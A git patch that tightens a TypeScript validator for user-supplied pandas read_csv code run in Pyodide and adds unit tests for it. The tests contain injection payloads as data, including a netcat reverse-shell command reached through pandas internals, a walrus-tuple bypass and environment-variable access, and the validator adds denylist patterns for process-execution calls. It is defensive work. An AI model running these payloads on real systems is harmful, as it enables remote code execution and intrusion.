From d1e876d8bc4c56002b1c887ef3d58e67c4255067 Mon Sep 17 00:00:00 2001 From: chloebyun-wd Date: Tue, 5 May 2026 09:56:16 -0700 Subject: [PATCH] fix: strictly allow only read_csv(data, litera_options) and block exeutable args (#6313) * fix: strictly allow only read_csv(data, litera_options) and block executable args * pr --------- Co-authored-by: Chloe Byun --- .../src/pythonCodeValidator.test.ts | 139 +++++++++- .../components/src/pythonCodeValidator.ts | 262 +++++++++++++++++- 2 files changed, 394 insertions(+), 7 deletions(-) diff --git a/packages/components/src/pythonCodeValidator.test.ts b/packages/components/src/pythonCodeValidator.test.ts index fcc7be8fa..f326e9378 100644 --- a/packages/components/src/pythonCodeValidator.test.ts +++ b/packages/components/src/pythonCodeValidator.test.ts @@ -1,4 +1,4 @@ -import { validatePythonCodeForDataFrame } from './pythonCodeValidator' +import { validateCustomReadCSVFunction, validatePythonCodeForDataFrame } from './pythonCodeValidator' describe('validatePythonCodeForDataFrame', () => { describe('reported bypass: multi-name import with alias', () => { @@ -228,6 +228,18 @@ describe('validatePythonCodeForDataFrame', () => { expect(result.valid).toBe(false) expect(result.reason).toContain('requests module') }) + + it('should block dangerous modules reached through pandas internals', () => { + const result = validatePythonCodeForDataFrame('pd.io.common.os.system("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh")') + expect(result.valid).toBe(false) + expect(result.reason).toContain('os module') + }) + + it('should block process execution even if the module was aliased first', () => { + const result = validatePythonCodeForDataFrame('_m.system("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh")') + expect(result.valid).toBe(false) + expect(result.reason).toContain('process execution function') + }) }) describe('reflection dunder attributes are blocked', () => { @@ -347,3 +359,128 @@ describe('validatePythonCodeForDataFrame', () => { }) }) }) + +describe('validateCustomReadCSVFunction', () => { + describe('legitimate read_csv calls pass validation', () => { + it('should allow the default read_csv(csv_data) call', () => { + expect(validateCustomReadCSVFunction('read_csv(csv_data)').valid).toBe(true) + }) + + it('should allow literal keyword options', () => { + const result = validateCustomReadCSVFunction("read_csv(csv_data, sep=';', header=0, keep_default_na=False)") + expect(result.valid).toBe(true) + }) + + it('should allow spaces around keyword equals', () => { + const result = validateCustomReadCSVFunction("read_csv(csv_data, sep = ';', header = 0)") + expect(result.valid).toBe(true) + }) + + it('should allow statement separator characters inside string literals', () => { + const result = validateCustomReadCSVFunction("read_csv(csv_data, sep=';', lineterminator='\\n')") + expect(result.valid).toBe(true) + }) + + it('should allow literal lists, tuples, and dictionaries for read_csv options', () => { + const result = validateCustomReadCSVFunction("read_csv(csv_data, usecols=['Name', 'Age'], na_values={'Age': ['NA', '']})") + expect(result.valid).toBe(true) + }) + + it('should allow spaces around dictionary colons and a trailing dictionary comma', () => { + const result = validateCustomReadCSVFunction("read_csv(csv_data, na_values={'Age' : ['NA'],})") + expect(result.valid).toBe(true) + }) + + it('should allow filepath_or_buffer=csv_data as the explicit source', () => { + const result = validateCustomReadCSVFunction("read_csv(filepath_or_buffer=csv_data, encoding='utf-8')") + expect(result.valid).toBe(true) + }) + }) + + describe('code execution bypasses are blocked', () => { + it('should block the reported walrus tuple bypass in the read_csv source argument', () => { + const result = validateCustomReadCSVFunction( + 'read_csv((_m := pd.io.common.os, _m.system("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh")))' + ) + expect(result.valid).toBe(false) + expect(result.reason).toContain('read from csv_data directly') + }) + + it('should block dangerous attribute access in read_csv keyword values', () => { + const result = validateCustomReadCSVFunction('read_csv(csv_data, storage_options=pd.io.common.os.environ)') + expect(result.valid).toBe(false) + expect(result.reason).toContain('option values must be') + }) + + it('should block nested function calls in read_csv keyword values', () => { + const result = validateCustomReadCSVFunction("read_csv(csv_data, sep=str(','))") + expect(result.valid).toBe(false) + expect(result.reason).toContain('option values must be') + }) + + it('should block lambda converters in read_csv keyword values', () => { + const result = validateCustomReadCSVFunction("read_csv(csv_data, converters={'Name': lambda value: value})") + expect(result.valid).toBe(false) + expect(result.reason).toContain('option values must be') + }) + + it('should block positional arguments after csv_data', () => { + const result = validateCustomReadCSVFunction("read_csv(csv_data, ';')") + expect(result.valid).toBe(false) + expect(result.reason).toContain('keyword arguments') + }) + + it('should block empty arguments', () => { + const result = validateCustomReadCSVFunction('read_csv(csv_data,, header=0)') + expect(result.valid).toBe(false) + expect(result.reason).toContain('empty arguments') + }) + + it('should block a trailing comma', () => { + const result = validateCustomReadCSVFunction('read_csv(csv_data, header=0,)') + expect(result.valid).toBe(false) + expect(result.reason).toContain('empty arguments') + }) + + it('should block duplicate keyword arguments', () => { + const result = validateCustomReadCSVFunction("read_csv(csv_data, sep=',', sep=';')") + expect(result.valid).toBe(false) + expect(result.reason).toContain('duplicated') + }) + + it('should block duplicate filepath_or_buffer when source is named', () => { + const result = validateCustomReadCSVFunction("read_csv(filepath_or_buffer=csv_data, filepath_or_buffer='other.csv')") + expect(result.valid).toBe(false) + expect(result.reason).toContain('duplicated') + }) + + it('should block filepath_or_buffer override when source is positional', () => { + const result = validateCustomReadCSVFunction("read_csv(csv_data, filepath_or_buffer='other.csv')") + expect(result.valid).toBe(false) + expect(result.reason).toContain('duplicated') + }) + + it('should block malformed bracket nesting', () => { + const result = validateCustomReadCSVFunction("read_csv(csv_data, usecols=['Name', 'Age')") + expect(result.valid).toBe(false) + }) + + it('should block top-level semicolon statement chaining', () => { + const result = validateCustomReadCSVFunction("read_csv(csv_data); pd.io.common.os.system('id')") + expect(result.valid).toBe(false) + expect(result.reason).toContain('single function call') + }) + + it('should block overlong custom read_csv input', () => { + const result = validateCustomReadCSVFunction(`read_csv(csv_data, sep='${'a'.repeat(1024)}')`) + expect(result.valid).toBe(false) + expect(result.reason).toContain('1024 characters or fewer') + }) + + it('should block trailing code after the read_csv call', () => { + const result = validateCustomReadCSVFunction("read_csv(csv_data) or pd.io.common.os.system('id')") + expect(result.valid).toBe(false) + expect(result.reason).toContain('exactly one complete') + }) + }) +}) diff --git a/packages/components/src/pythonCodeValidator.ts b/packages/components/src/pythonCodeValidator.ts index 20bb84460..6cd77aea5 100644 --- a/packages/components/src/pythonCodeValidator.ts +++ b/packages/components/src/pythonCodeValidator.ts @@ -2,14 +2,17 @@ * Validates Python code before execution in Pyodide to prevent remote code * execution (RCE). Two entry points are provided: * - * - validateCustomReadCSVFunction allowlist-based check for the user-supplied - * "Custom Pandas Read_CSV Code" field; only a bare read_csv(...) call is - * permitted. + * - validateCustomReadCSVFunction strict allowlist-based check for the + * user-supplied "Custom Pandas Read_CSV Code" field. Only a single + * read_csv(...) call that reads from the pre-bound csv_data variable is + * permitted. Options must be keyword arguments with literal values. * * - validatePythonCodeForDataFrame denylist-based check for LLM-generated * DataFrame operation code. * * Both checks must pass before code is handed to pyodide.runPythonAsync(). + * These validators are one defence-in-depth layer; Pyodide execution should + * still run with restricted network and filesystem access. */ export interface PythonCodeValidationResult { @@ -49,6 +52,8 @@ const FORBIDDEN_PATTERNS: Array<{ pattern: RegExp; reason: string }> = [ { pattern: /\bsocket\./g, reason: 'socket module' }, { pattern: /\burllib\./g, reason: 'urllib module' }, { pattern: /\brequests\./g, reason: 'requests module' }, + { pattern: /\.(?:os|subprocess|sys|socket|urllib|requests)\b/g, reason: 'dangerous module attribute access' }, + { pattern: /\b(?:system|popen)\s*\(/g, reason: 'process execution function' }, { pattern: /\b__builtins__\b/g, reason: '__builtins__' }, { pattern: /\b__loader__\b/g, reason: '__loader__' }, { pattern: /\b__spec__\b/g, reason: '__spec__' }, @@ -71,6 +76,238 @@ const FORBIDDEN_PATTERNS: Array<{ pattern: RegExp; reason: string }> = [ { pattern: /\bclass\s+\w/g, reason: 'class definition' } ] +const READ_CSV_PREFIX = 'read_csv(' +const MAX_CUSTOM_READ_CSV_LENGTH = 1024 + +function skipQuotedString(code: string, startIndex: number): number { + const quote = code[startIndex] + if (quote !== "'" && quote !== '"') return -1 + + let escaped = false + for (let i = startIndex + 1; i < code.length; i += 1) { + const char = code[i] + + if (escaped) { + escaped = false + } else if (char === '\\') { + escaped = true + } else if (char === quote) { + return i + 1 + } + } + + return -1 +} + +function expectedClosingBracket(char: string): string | undefined { + if (char === '(') return ')' + if (char === '[') return ']' + if (char === '{') return '}' + return undefined +} + +function splitTopLevel(code: string, delimiter: string): string[] | undefined { + const parts: string[] = [] + const bracketStack: string[] = [] + let start = 0 + + for (let i = 0; i < code.length; i += 1) { + const char = code[i] + + if (char === "'" || char === '"') { + const nextIndex = skipQuotedString(code, i) + if (nextIndex < 0) return undefined + i = nextIndex - 1 + continue + } + + const expectedClosing = expectedClosingBracket(char) + if (expectedClosing) { + bracketStack.push(expectedClosing) + } else if (char === ')' || char === ']' || char === '}') { + if (bracketStack.pop() !== char) return undefined + } else if (char === delimiter && bracketStack.length === 0) { + parts.push(code.slice(start, i).trim()) + start = i + 1 + } + } + + if (bracketStack.length !== 0) return undefined + + parts.push(code.slice(start).trim()) + return parts +} + +function findTopLevelCharacter(code: string, character: string): number { + const bracketStack: string[] = [] + + for (let i = 0; i < code.length; i += 1) { + const char = code[i] + + if (char === "'" || char === '"') { + const nextIndex = skipQuotedString(code, i) + if (nextIndex < 0) return -1 + i = nextIndex - 1 + continue + } + + const expectedClosing = expectedClosingBracket(char) + if (expectedClosing) { + bracketStack.push(expectedClosing) + } else if (char === ')' || char === ']' || char === '}') { + if (bracketStack.pop() !== char) return -1 + } else if (char === character && bracketStack.length === 0) { + return i + } + } + + return -1 +} + +function containsStatementSeparatorOutsideString(code: string): boolean { + for (let i = 0; i < code.length; i += 1) { + const char = code[i] + + if (char === "'" || char === '"') { + const nextIndex = skipQuotedString(code, i) + if (nextIndex < 0) return true + i = nextIndex - 1 + } else if (char === '\n' || char === '\r' || char === ';') { + return true + } + } + + return false +} + +function findMatchingClosingParen(code: string, openIndex: number): number { + let depth = 0 + + for (let i = openIndex; i < code.length; i += 1) { + const char = code[i] + + if (char === "'" || char === '"') { + const nextIndex = skipQuotedString(code, i) + if (nextIndex < 0) return -1 + i = nextIndex - 1 + } else if (char === '(') { + depth += 1 + } else if (char === ')') { + depth -= 1 + if (depth === 0) return i + if (depth < 0) return -1 + } + } + + return -1 +} + +function isQuotedStringLiteral(code: string): boolean { + return skipQuotedString(code, 0) === code.length +} + +function areSafeLiteralItems(code: string): boolean { + const parts = splitTopLevel(code, ',') + if (!parts) return false + + return parts.every((part, index) => { + if (!part && index === parts.length - 1) return true + return isSafeReadCSVLiteral(part) + }) +} + +function isSafeReadCSVLiteral(code: string): boolean { + const trimmed = code.trim() + + if (!trimmed) return false + if (isQuotedStringLiteral(trimmed)) return true + if (/^[+-]?(?:\d+(?:\.\d*)?|\.\d+)(?:[eE][+-]?\d+)?$/.test(trimmed)) return true + if (/^(?:True|False|None)$/.test(trimmed)) return true + + const first = trimmed[0] + const last = trimmed[trimmed.length - 1] + + if ((first === '[' && last === ']') || (first === '(' && last === ')')) { + const inner = trimmed.slice(1, -1).trim() + return !inner || areSafeLiteralItems(inner) + } + + if (first === '{' && last === '}') { + const inner = trimmed.slice(1, -1).trim() + const entries = inner ? splitTopLevel(inner, ',') : [] + if (!entries) return false + + return entries.every((entry, index) => { + if (!entry && index === entries.length - 1) return true + + const colonIndex = findTopLevelCharacter(entry, ':') + if (colonIndex < 0) return false + + const key = entry.slice(0, colonIndex).trim() + const value = entry.slice(colonIndex + 1).trim() + return (isQuotedStringLiteral(key) || /^[+-]?\d+$/.test(key)) && isSafeReadCSVLiteral(value) + }) + } + + return false +} + +function validateReadCSVArguments(args: string): PythonCodeValidationResult { + const parts = splitTopLevel(args, ',') + if (!parts || parts.length === 0) { + return { valid: false, reason: 'read_csv() must receive csv_data as the input source' } + } + + const [firstArg, ...remainingArgs] = parts + if (!firstArg) { + return { valid: false, reason: 'read_csv() must receive csv_data as the input source' } + } + + const sourceKeyword = firstArg === 'csv_data' ? undefined : 'filepath_or_buffer' + if (sourceKeyword) { + const equalsIndex = findTopLevelCharacter(firstArg, '=') + const firstArgName = equalsIndex >= 0 ? firstArg.slice(0, equalsIndex).trim() : '' + const firstArgValue = equalsIndex >= 0 ? firstArg.slice(equalsIndex + 1).trim() : '' + + if (firstArgName !== sourceKeyword || firstArgValue !== 'csv_data') { + return { valid: false, reason: 'read_csv() must read from csv_data directly' } + } + } + + const seenKeywords = new Set(['filepath_or_buffer']) + for (const arg of remainingArgs) { + if (!arg) { + return { valid: false, reason: 'read_csv() options must not contain empty arguments' } + } + + const equalsIndex = findTopLevelCharacter(arg, '=') + if (equalsIndex <= 0) { + return { valid: false, reason: 'read_csv() options must be keyword arguments with literal values' } + } + + const keyword = arg.slice(0, equalsIndex).trim() + const value = arg.slice(equalsIndex + 1).trim() + + if (!/^[A-Za-z_][A-Za-z0-9_]*$/.test(keyword) || keyword.startsWith('__')) { + return { valid: false, reason: 'read_csv() option names must be plain identifiers' } + } + + if (seenKeywords.has(keyword)) { + return { valid: false, reason: 'read_csv() options must not be duplicated' } + } + seenKeywords.add(keyword) + + if (!isSafeReadCSVLiteral(value)) { + return { + valid: false, + reason: 'read_csv() option values must be strings, numbers, booleans, None, lists, tuples, or dictionaries' + } + } + } + + return { valid: true } +} + /** * Validates that the given Python code is safe to run in the pandas DataFrame context. * Call this before passing LLM-generated code to pyodide.runPythonAsync(). @@ -98,19 +335,32 @@ export function validatePythonCodeForDataFrame(code: string): PythonCodeValidati export function validateCustomReadCSVFunction(code: string): PythonCodeValidationResult { const trimmed = code.trim() + if (trimmed.length > MAX_CUSTOM_READ_CSV_LENGTH) { + return { valid: false, reason: `Custom read_csv code must be ${MAX_CUSTOM_READ_CSV_LENGTH} characters or fewer` } + } + // Allowlist: must be a single read_csv() call - if (!trimmed.startsWith('read_csv(')) { + if (!trimmed.startsWith(READ_CSV_PREFIX)) { return { valid: false, reason: 'Custom read_csv code must start with read_csv(' } } - // No newlines or semicolons — prevents class definitions and multi-statement payloads - if (/[\n\r;]/.test(trimmed)) { + // No statement separators outside strings — prevents class definitions and multi-statement payloads + if (containsStatementSeparatorOutsideString(trimmed)) { return { valid: false, reason: 'Custom read_csv code must be a single function call with no newlines or semicolons' } } + const closingParenIndex = findMatchingClosingParen(trimmed, READ_CSV_PREFIX.length - 1) + if (closingParenIndex !== trimmed.length - 1) { + return { valid: false, reason: 'Custom read_csv code must be exactly one complete read_csv(...) call' } + } + + const args = trimmed.slice(READ_CSV_PREFIX.length, closingParenIndex) + const argsValidation = validateReadCSVArguments(args) + if (!argsValidation.valid) return argsValidation + // Apply the denylist as a second layer return validatePythonCodeForDataFrame(trimmed) }